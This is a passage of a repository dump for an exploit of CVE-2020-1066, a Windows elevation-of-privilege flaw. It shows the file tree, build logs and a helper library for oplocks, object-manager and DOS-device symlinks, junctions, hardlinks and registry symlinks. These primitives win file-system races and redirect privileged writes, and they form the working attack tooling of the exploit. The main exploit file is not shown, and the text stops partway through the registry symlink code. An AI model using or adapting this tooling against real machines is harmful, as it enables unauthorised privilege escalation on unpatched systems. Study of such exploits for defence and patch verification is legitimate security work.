Repository: cbwang505/CVE-2020-1066-EXP Branch: master Commit: cefa3bf5bc4d Files: 77 Total size: 21.4 MB Directory structure: gitextract_m5lpbqk9/ ├── .gitignore ├── Build/ │ ├── MyComEop.ilk │ └── MyComEop.pdb ├── CommonUtils/ │ ├── CommonUtils.cpp │ ├── CommonUtils.h │ ├── CommonUtils.vcxproj │ ├── CommonUtils.vcxproj.filters │ ├── Debug/ │ │ ├── CommonUtils.log │ │ ├── CommonUtils.tlog/ │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── CommonUtils.lastbuildstate │ │ │ ├── Lib-link.read.1.tlog │ │ │ ├── Lib-link.write.1.tlog │ │ │ ├── cl.command.1.tlog │ │ │ └── lib.command.1.tlog │ │ ├── vc120.idb │ │ └── vc120.pdb │ ├── DirectoryObject.cpp │ ├── FileOpLock.cpp │ ├── FileOpLock.h │ ├── FileSymlink.cpp │ ├── FileSymlink.h │ ├── Hardlink.cpp │ ├── NativeSymlink.cpp │ ├── RegistrySymlink.cpp │ ├── ReparsePoint.cpp │ ├── ReparsePoint.h │ ├── ScopedHandle.cpp │ ├── ScopedHandle.h │ ├── ntimports.h │ ├── stdafx.cpp │ ├── stdafx.h │ ├── targetver.h │ └── typed_buffer.h ├── LICENSE ├── MyComDefine/ │ ├── Debug/ │ │ ├── MyComDefine.log │ │ └── MyComDefine.tlog/ │ │ ├── MyComDefine.lastbuildstate │ │ ├── midl.command.1.tlog │ │ ├── midl.read.1.tlog │ │ └── midl.write.1.tlog │ ├── MyComDefine.vcxproj │ ├── MyComDefine.vcxproj.filters │ ├── MyComDefine.vcxproj.user │ ├── dlldata.c │ ├── resolver.idl │ ├── resolver_c.c │ ├── resolver_h.h │ └── resolver_s.c ├── MyComEop/ │ ├── Debug/ │ │ ├── MyComEop.log │ │ ├── MyComEop.res │ │ ├── MyComEop.tlog/ │ │ │ ├── CL.read.1.tlog │ │ │ ├── CL.write.1.tlog │ │ │ ├── MyComEop.lastbuildstate │ │ │ ├── cl.command.1.tlog │ │ │ ├── link.command.1.tlog │ │ │ ├── link.read.1.tlog │ │ │ ├── link.write.1.tlog │ │ │ ├── rc.command.1.tlog │ │ │ ├── rc.read.1.tlog │ │ │ └── rc.write.1.tlog │ │ ├── vc120.idb │ │ └── vc120.pdb │ ├── MyComEop.aps │ ├── MyComEop.cpp │ ├── MyComEop.rc │ ├── MyComEop.vcxproj │ ├── MyComEop.vcxproj.filters │ ├── MyComEop.vcxproj.user │ ├── resource.h │ ├── stdafx.cpp │ ├── stdafx.h │ └── targetver.h ├── MyComEop.sdf ├── MyComEop.sln ├── MyComEop.sln.DotSettings.user ├── MyComEop.v12.suo └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Prerequisites *.d # Compiled Object files *.slo *.lo *.o *.obj # Precompiled Headers *.gch *.pch # Compiled Dynamic libraries *.so *.dylib *.dll # Fortran module files *.mod *.smod # Compiled Static libraries *.lai *.la *.a *.lib # Executables *.out *.app ================================================ FILE: CommonUtils/CommonUtils.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "CommonUtils.h" #include #include "ntimports.h" void __stdcall my_puts(const char* str) { fwrite(str, 1, strlen(str), stdout); } static console_output _pout = my_puts; void DebugSetOutput(console_output pout) { _pout = pout; } void DebugPrintf(const char* lpFormat, ...) { CHAR buf[1024]; va_list va; va_start(va, lpFormat); StringCbVPrintfA(buf, sizeof(buf), lpFormat, va); _pout(buf); } std::wstring GetErrorMessage(DWORD dwError) { LPWSTR pBuffer = NULL; DWORD dwSize = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, 0, dwError, 0, (LPWSTR)&pBuffer, 32 * 1024, nullptr); if (dwSize > 0) { std::wstring ret = pBuffer; LocalFree(pBuffer); return ret; } else { printf("Error getting message %d\n", GetLastError()); WCHAR buf[64]; StringCchPrintf(buf, _countof(buf), L"%d", dwError); return buf; } } std::wstring GetErrorMessage() { return GetErrorMessage(GetLastError()); } BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) { TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) { return FALSE; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; if (bEnablePrivilege) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; } else { tp.Privileges[0].Attributes = 0; } if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) { return FALSE; } if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) { return FALSE; } return TRUE; } DWORD NtStatusToDosError(NTSTATUS status) { DEFINE_NTDLL(RtlNtStatusToDosError); return fRtlNtStatusToDosError(status); } void SetNtLastError(NTSTATUS status) { SetLastError(NtStatusToDosError(status)); } FARPROC GetProcAddressNT(LPCSTR lpName) { return GetProcAddress(GetModuleHandleW(L"ntdll"), lpName); } HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options) { UNICODE_STRING name = { 0 }; OBJECT_ATTRIBUTES obj_attr = { 0 }; DEFINE_NTDLL(RtlInitUnicodeString); DEFINE_NTDLL(NtOpenFile); if (path) { fRtlInitUnicodeString(&name, path); InitializeObjectAttributes(&obj_attr, &name, OBJ_CASE_INSENSITIVE, root, nullptr); } else { InitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, root, nullptr); } HANDLE h = nullptr; IO_STATUS_BLOCK io_status = { 0 }; NTSTATUS status = fNtOpenFile(&h, desired_access, &obj_attr, &io_status, share_access, open_options); if (NT_SUCCESS(status)) { return h; } else { SetNtLastError(status); return nullptr; } } std::wstring BuildFullPath(const std::wstring& path, bool native) { std::wstring ret; WCHAR buf[MAX_PATH]; if (native) { ret = L"\\??\\"; } if (GetFullPathName(path.c_str(), MAX_PATH, buf, nullptr) > 0) { ret += buf; } else { ret += path; } return ret; } ================================================ FILE: CommonUtils/CommonUtils.h ================================================ #pragma once #include #include typedef void(__stdcall *console_output)(const char*); void DebugSetOutput(console_output pout); void DebugPrintf(const char* lpFormat, ...); HANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname); HANDLE OpenSymlink(HANDLE root, LPCWSTR linkname); HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow); HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname); std::wstring GetErrorMessage(DWORD dwError); std::wstring GetErrorMessage(); BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege); bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile); bool DeleteRegSymlink(LPCWSTR lpSymlink); DWORD NtStatusToDosError(NTSTATUS status); bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname); HANDLE OpenFileNative(LPCWSTR path, HANDLE root, ACCESS_MASK desired_access, ULONG share_access, ULONG open_options); std::wstring BuildFullPath(const std::wstring& path, bool native); ================================================ FILE: CommonUtils/CommonUtils.vcxproj ================================================  Debug Win32 Release Win32 {2AA6AB5E-18A8-49F4-B25D-587E8C3E4432} Win32Proj CommonUtils StaticLibrary true v120 Unicode Static StaticLibrary false v140 true Unicode $(SolutionDir)Build\ Use Level3 Disabled WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions) true Windows true Level3 Use MaxSpeed true true WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions) true MultiThreaded Windows true true true Create Create ================================================ FILE: CommonUtils/CommonUtils.vcxproj.filters ================================================  {4FC737F1-C7A5-4376-A066-2A32D752A2FF} cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx {93995380-89BD-4b04-88EB-625FBE52EBFB} h;hh;hpp;hxx;hm;inl;inc;xsd {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms Header Files Header Files Header Files Header Files Header Files Header Files Header Files Header Files Header Files Source Files Source Files Source Files Source Files Source Files Source Files Source Files Source Files Source Files Source Files ================================================ FILE: CommonUtils/Debug/CommonUtils.log ================================================ 生成启动时间为 2020/5/2 15:58:28。 1>项目“E:\git\CVE-2020-1066\CVE-2020-1066-EXP\CommonUtils\CommonUtils.vcxproj”在节点 3 上(Build 个目标)。 1>ClCompile: C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _LIB /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MTd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Yc"stdafx.h" /Fp"Debug\CommonUtils.pch" /Fo"Debug\\" /Fd"Debug\vc120.pdb" /Gd /TP /analyze- /errorReport:prompt stdafx.cpp stdafx.cpp C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\CL.exe /c /ZI /nologo /W3 /WX- /sdl /Od /Oy- /D WIN32 /D _DEBUG /D _LIB /D _UNICODE /D UNICODE /Gm /EHsc /RTC1 /MTd /GS /fp:precise /Zc:wchar_t /Zc:forScope /Yu"stdafx.h" /Fp"Debug\CommonUtils.pch" /Fo"Debug\\" /Fd"Debug\vc120.pdb" /Gd /TP /analyze- /errorReport:prompt CommonUtils.cpp DirectoryObject.cpp FileOpLock.cpp FileSymlink.cpp Hardlink.cpp NativeSymlink.cpp RegistrySymlink.cpp ReparsePoint.cpp ScopedHandle.cpp ScopedHandle.cpp ReparsePoint.cpp RegistrySymlink.cpp NativeSymlink.cpp Hardlink.cpp FileSymlink.cpp FileOpLock.cpp DirectoryObject.cpp CommonUtils.cpp 正在生成代码... Lib: C:\Program Files (x86)\Microsoft Visual Studio 12.0\VC\bin\Lib.exe /OUT:"E:\git\CVE-2020-1066\CVE-2020-1066-EXP\Build\CommonUtils.lib" /NOLOGO Debug\CommonUtils.obj Debug\DirectoryObject.obj Debug\FileOpLock.obj Debug\FileSymlink.obj Debug\Hardlink.obj Debug\NativeSymlink.obj Debug\RegistrySymlink.obj Debug\ReparsePoint.obj Debug\ScopedHandle.obj Debug\stdafx.obj CommonUtils.vcxproj -> E:\git\CVE-2020-1066\CVE-2020-1066-EXP\Build\CommonUtils.lib 1>已完成生成项目“E:\git\CVE-2020-1066\CVE-2020-1066-EXP\CommonUtils\CommonUtils.vcxproj”(Build 个目标)的操作。 生成成功。 已用时间 00:00:08.48 ================================================ FILE: CommonUtils/Debug/CommonUtils.tlog/CommonUtils.lastbuildstate ================================================ #TargetFrameworkVersion=v4.0:PlatformToolSet=v120:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit Debug|Win32|E:\git\CVE-2020-1066\CVE-2020-1066-EXP\| ================================================ FILE: CommonUtils/DirectoryObject.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "CommonUtils.h" #include "ntimports.h" HANDLE CreateObjectDirectory(HANDLE hRoot, LPCWSTR dirname, HANDLE hShadow) { DEFINE_NTDLL(RtlInitUnicodeString); DEFINE_NTDLL(NtCreateDirectoryObjectEx); OBJECT_ATTRIBUTES obj_attr; UNICODE_STRING obj_name; if (dirname) { fRtlInitUnicodeString(&obj_name, dirname); InitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr); } else { InitializeObjectAttributes(&obj_attr, nullptr, OBJ_CASE_INSENSITIVE, hRoot, nullptr); } HANDLE h = nullptr; NTSTATUS status = fNtCreateDirectoryObjectEx(&h, DIRECTORY_ALL_ACCESS, &obj_attr, hShadow, FALSE); if (status == 0) { return h; } else { SetLastError(NtStatusToDosError(status)); return nullptr; } } HANDLE OpenObjectDirectory(HANDLE hRoot, LPCWSTR dirname) { DEFINE_NTDLL(RtlInitUnicodeString); DEFINE_NTDLL(NtOpenDirectoryObject); OBJECT_ATTRIBUTES obj_attr; UNICODE_STRING obj_name; fRtlInitUnicodeString(&obj_name, dirname); InitializeObjectAttributes(&obj_attr, &obj_name, OBJ_CASE_INSENSITIVE, hRoot, nullptr); HANDLE h = nullptr; NTSTATUS status = fNtOpenDirectoryObject(&h, MAXIMUM_ALLOWED, &obj_attr); if (status == 0) { return h; } else { SetLastError(NtStatusToDosError(status)); return nullptr; } } ================================================ FILE: CommonUtils/FileOpLock.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "FileOpLock.h" #include void DebugPrintf(LPCSTR lpFormat, ...); FileOpLock::FileOpLock(UserCallback cb): g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) { g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; g_inputBuffer.StructureLength = sizeof(g_inputBuffer); g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; g_outputBuffer.StructureLength = sizeof(g_outputBuffer); } FileOpLock::~FileOpLock() { if (g_wait) { SetThreadpoolWait(g_wait, nullptr, nullptr); CloseThreadpoolWait(g_wait); g_wait = nullptr; } if (g_o.hEvent) { CloseHandle(g_o.hEvent); g_o.hEvent = nullptr; } if (g_hFile != INVALID_HANDLE_VALUE) { CloseHandle(g_hFile); g_hFile = INVALID_HANDLE_VALUE; } } bool FileOpLock::BeginLock(const std::wstring& filename, DWORD dwShareMode, bool exclusive) { g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); DWORD flags = FILE_FLAG_OVERLAPPED; if (GetFileAttributesW(filename.c_str()) & FILE_ATTRIBUTE_DIRECTORY) { flags |= FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT; } g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, dwShareMode, nullptr, OPEN_EXISTING, flags, nullptr); if (g_hFile == INVALID_HANDLE_VALUE) { DebugPrintf("Error opening file: %d\n", GetLastError()); return false; } g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); if (g_wait == nullptr) { DebugPrintf("Error creating threadpool %d\n", GetLastError()); return false; } SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); DWORD bytesReturned; if (exclusive) { DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK_LEVEL_1, NULL, 0, NULL, 0, &bytesReturned, &g_o); } else { DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, &g_inputBuffer, sizeof(g_inputBuffer), &g_outputBuffer, sizeof(g_outputBuffer), nullptr, &g_o); } DWORD err = GetLastError(); if (err != ERROR_IO_PENDING) { DebugPrintf("Oplock Failed %d\n", err); return false; } return true; } FileOpLock* FileOpLock::CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb) { FileOpLock* ret = new FileOpLock(cb); DWORD dwShareMode = 0; bool exclusive = false; if (share_mode.find('r') != std::wstring::npos) { dwShareMode |= FILE_SHARE_READ; } if (share_mode.find('w') != std::wstring::npos) { dwShareMode |= FILE_SHARE_WRITE; } if (share_mode.find('d') != std::wstring::npos) { dwShareMode |= FILE_SHARE_DELETE; } if (share_mode.find('x') != std::wstring::npos) { exclusive = true; } if (ret->BeginLock(name, dwShareMode, exclusive)) { return ret; } else { delete ret; return nullptr; } } void FileOpLock::WaitForLock(UINT Timeout) { WaitForSingleObject(g_hLockCompleted, Timeout); } void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WAIT Wait, TP_WAIT_RESULT WaitResult) { UNREFERENCED_PARAMETER(Instance); UNREFERENCED_PARAMETER(Wait); UNREFERENCED_PARAMETER(WaitResult); FileOpLock* lock = reinterpret_cast(Parameter); lock->DoWaitCallback(); } void FileOpLock::DoWaitCallback() { DWORD dwBytes; if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { DebugPrintf("Oplock Failed\n"); } if (_cb) { _cb(); } DebugPrintf("Closing Handle\n"); CloseHandle(g_hFile); g_hFile = INVALID_HANDLE_VALUE; SetEvent(g_hLockCompleted); } ================================================ FILE: CommonUtils/FileOpLock.h ================================================ #pragma once #include #include class FileOpLock { public: typedef void(*UserCallback)(); static FileOpLock* CreateLock(const std::wstring& name, const std::wstring& share_mode, FileOpLock::UserCallback cb); void WaitForLock(UINT Timeout); ~FileOpLock(); private: HANDLE g_hFile; OVERLAPPED g_o; REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; HANDLE g_hLockCompleted; PTP_WAIT g_wait; UserCallback _cb; FileOpLock(UserCallback cb); static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, PVOID Parameter, PTP_WAIT Wait, TP_WAIT_RESULT WaitResult); void DoWaitCallback(); bool BeginLock(const std::wstring& name, DWORD dwShareMode, bool exclusive); }; ================================================ FILE: CommonUtils/FileSymlink.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "FileSymlink.h" #include #include "ReparsePoint.h" #include "CommonUtils.h" FileSymlink::FileSymlink(bool permanent) : m_created_junction(false), m_hlink(nullptr), m_permanent(permanent) { } FileSymlink::FileSymlink() : FileSymlink(false) { } FileSymlink::~FileSymlink() { if (!m_permanent) { if (m_hlink) { CloseHandle(m_hlink); } if (m_created_junction) { RemoveDirectory(m_junctiondir); } } } bstr_t GetNativePath(LPCWSTR name, PBOOL isnative) { if (name[0] == '@') { *isnative = TRUE; return name + 1; } else { *isnative = FALSE; std::vector buf(32 * 1024); if (GetFullPathNameW(name, buf.size(), &buf[0], nullptr) == 0) { return L""; } return &buf[0]; } } FileSymlink::FileSymlink(FileSymlink&& other) { m_created_junction = other.m_created_junction; m_hlink = other.m_hlink; m_junctiondir = other.m_junctiondir; m_linkname = other.m_linkname; m_target = other.m_target; other.m_created_junction = false; other.m_hlink = nullptr; } FileSymlink& FileSymlink::operator=(FileSymlink&& other) { m_created_junction = other.m_created_junction; m_hlink = other.m_hlink; m_junctiondir = other.m_junctiondir; m_linkname = other.m_linkname; m_target = other.m_target; other.m_created_junction = false; other.m_hlink = nullptr; return *this; } static void RemovePermanentSymlink(LPCWSTR symlink, LPCWSTR target) { DefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, symlink, target); DefineDosDeviceW(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, symlink, target); } static bool CreatePermanentSymlink(LPCWSTR symlink, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target) && DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, symlink, target)) { return true; } return false; } bool FileSymlink::CreateSymlink(LPCWSTR xsymlink, LPCWSTR xtarget, LPCWSTR xbaseobjdir) { bstr_t symlink = xsymlink; bstr_t baseobjdir = L"\\RPC Control"; if (xbaseobjdir) { baseobjdir = xbaseobjdir; } BOOL isnative; bstr_t linkname = GetNativePath(symlink, &isnative); if (linkname.length() == 0) { return 1; } if (!isnative) { wchar_t* slash = wcsrchr(symlink.GetBSTR(), L'\\'); if (slash == nullptr) { DebugPrintf("Error must supply a directory and link name\n"); return false; } linkname = baseobjdir + slash; *slash = 0; m_junctiondir = symlink; if (!CreateDirectory(m_junctiondir, nullptr) && GetLastError() != ERROR_ALREADY_EXISTS) { DebugPrintf("Couldn't create symlink directory\n"); return false; } bstr_t destdir = baseobjdir; if (!ReparsePoint::CreateMountPoint(m_junctiondir.GetBSTR(), destdir.GetBSTR(), L"")) { DebugPrintf("Error creating junction %d\n", ReparsePoint::GetLastError()); return false; } m_created_junction = true; } bstr_t target = GetNativePath(xtarget, &isnative); if (target.length() == 0) { return false; } if (!isnative) { target = L"\\??\\" + target; } if (m_permanent) { linkname = L"Global\\GLOBALROOT" + linkname; if (!CreatePermanentSymlink(linkname, target)) { DebugPrintf("Error creating symlink %ls\n", GetErrorMessage().c_str()); return false; } } else { m_hlink = ::CreateSymlink(nullptr, linkname, target); if (!m_hlink) { return false; } } m_linkname = linkname; m_target = target; return true; } bool FileSymlink::ChangeSymlink(LPCWSTR newtarget) { BOOL isnative; bstr_t target = GetNativePath(newtarget, &isnative); if (target.length() == 0) { return false; } if (!isnative) { target = L"\\??\\" + target; } if (m_permanent) { RemovePermanentSymlink(m_linkname, m_target); if (!CreatePermanentSymlink(m_linkname, target)) { return false; } } else { if (!m_hlink) { SetLastError(ERROR_INVALID_PARAMETER); return false; } CloseHandle(m_hlink); m_hlink = nullptr; m_hlink = ::CreateSymlink(nullptr, m_linkname, target); if (!m_hlink) { return false; } } m_target = target; return true; } ================================================ FILE: CommonUtils/FileSymlink.h ================================================ #pragma once #include class FileSymlink { bstr_t m_junctiondir; bstr_t m_linkname; bstr_t m_target; bool m_created_junction; HANDLE m_hlink; bool m_permanent; public: FileSymlink(bool permanent); FileSymlink(); FileSymlink(FileSymlink&& other); FileSymlink& operator=(FileSymlink&& other); FileSymlink(const FileSymlink& other) = delete; FileSymlink& operator=(const FileSymlink& other) = delete; bool CreateSymlink(LPCWSTR symlink, LPCWSTR target, LPCWSTR baseobjdir); bool ChangeSymlink(LPCWSTR newtarget); ~FileSymlink(); }; ================================================ FILE: CommonUtils/Hardlink.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "CommonUtils.h" #include "ntimports.h" #include "typed_buffer.h" bool CreateNativeHardlink(LPCWSTR linkname, LPCWSTR targetname) { std::wstring full_linkname = BuildFullPath(linkname, true); size_t len = full_linkname.size() * sizeof(WCHAR); typed_buffer_ptr link_info(sizeof(FILE_LINK_INFORMATION) + len - sizeof(WCHAR)); memcpy(&link_info->FileName[0], full_linkname.c_str(), len); link_info->ReplaceIfExists = TRUE; link_info->FileNameLength = len; std::wstring full_targetname = BuildFullPath(targetname, true); HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0); if (hFile) { DEFINE_NTDLL(ZwSetInformationFile); IO_STATUS_BLOCK io_status = { 0 }; NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation); CloseHandle(hFile); if (NT_SUCCESS(status)) { return true; } SetNtLastError(status); } return false; } ================================================ FILE: CommonUtils/NativeSymlink.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include "CommonUtils.h" #include "ntimports.h" HANDLE CreateSymlink(HANDLE root, LPCWSTR linkname, LPCWSTR targetname) { DEFINE_NTDLL(RtlInitUnicodeString); DEFINE_NTDLL(NtCreateSymbolicLinkObject); OBJECT_ATTRIBUTES objAttr; UNICODE_STRING name; UNICODE_STRING target; fRtlInitUnicodeString(&name, linkname); fRtlInitUnicodeString(&target, targetname); InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr); HANDLE hLink; NTSTATUS status = fNtCreateSymbolicLinkObject(&hLink, SYMBOLIC_LINK_ALL_ACCESS, &objAttr, &target); if (status == 0) { DebugPrintf("Opened Link %ls -> %ls: %p\n", linkname, targetname, hLink); return hLink; } else { SetLastError(NtStatusToDosError(status)); return nullptr; } } HANDLE OpenSymlink(HANDLE root, LPCWSTR linkname) { DEFINE_NTDLL(RtlInitUnicodeString); DEFINE_NTDLL(NtOpenSymbolicLinkObject); OBJECT_ATTRIBUTES objAttr; UNICODE_STRING name; fRtlInitUnicodeString(&name, linkname); InitializeObjectAttributes(&objAttr, &name, OBJ_CASE_INSENSITIVE, root, nullptr); HANDLE hLink; NTSTATUS status = fNtOpenSymbolicLinkObject(&hLink, SYMBOLIC_LINK_ALL_ACCESS, &objAttr); if (status == 0) { return hLink; } else { SetLastError(NtStatusToDosError(status)); return nullptr; } } ================================================ FILE: CommonUtils/RegistrySymlink.cpp ================================================ // Copyright 2015 Google Inc. All Rights Reserved. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http ://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #include "stdafx.h" #include #include #include #include #include "CommonUtils.h" #define INTERNAL_REG_OPTION_CREATE_LINK (0x00000002L) #define INTERNAL_REG_OPTION_OPEN_LINK (0x00000100L) typedef NTSTATUS(__stdcall *fNtCreateKey)( PHANDLE KeyHandle, ULONG DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, PUNICODE_STRING Class, ULONG CreateOptions, PULONG Disposition ); typedef NTSTATUS (__stdcall *fNtOpenKeyEx)( PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, ULONG OpenOptions ); typedef NTSTATUS(__stdcall *fNtSetValueKey)( HANDLE KeyHandle, PUNICODE_STRING ValueName, ULONG TitleIndex, ULONG Type, PVOID Data, ULONG DataSize ); typedef NTSTATUS(__stdcall *fNtDeleteKey)( HANDLE KeyHandle ); typedef NTSTATUS(__stdcall *fNtClose)( HANDLE Handle ); FARPROC GetProcAddressNT(LPCSTR lpName); typedef VOID(NTAPI *fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); static bstr_t GetUserSid() { HANDLE hToken; OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken); DWORD dwSize; GetTokenInformation(hToken, TokenUser, nullptr, 0, &dwSize); std::vector userbuffer(dwSize); GetTokenInformation(hToken, TokenUser, &userbuffer[0], dwSize, &dwSize); PTOKEN_USER user = reinterpret_cast(&userbuffer[0]); LPWSTR lpUser; bstr_t ret = L""; if (ConvertSidToStringSid(user->User.Sid, &lpUser)) { ret = lpUser; LocalFree(lpUser); } return ret; } static bstr_t RegPathToNative(LPCWSTR lpPath) { bstr_t regpath = L"\\Registry\\"; // Already native rooted if (lpPath[0] == '\\') { return lpPath; } if (_wcsnicmp(lpPath, L"HKLM\\", 5) == 0) { return regpath + L"Machine\\" + &lpPath[5]; } else if (_wcsnicmp(lpPath, L"HKU\\", 4) == 0) { return regpath + L"User\\" + &lpPath[4]; } else if (_wcsnicmp(lpPath, L"HKCU\\", 5) == 0) { return regpath + L"User\\" + GetUserSid() + L"\\" + &lpPath[5]; } else { DebugPrintf("Registry path %ls must be absolute or start with HKLM, HKU or HKCU\n"); return L""; } } bool CreateRegSymlink(LPCWSTR lpSymlink, LPCWSTR lpTarget, bool bVolatile) { bstr_t symlink = 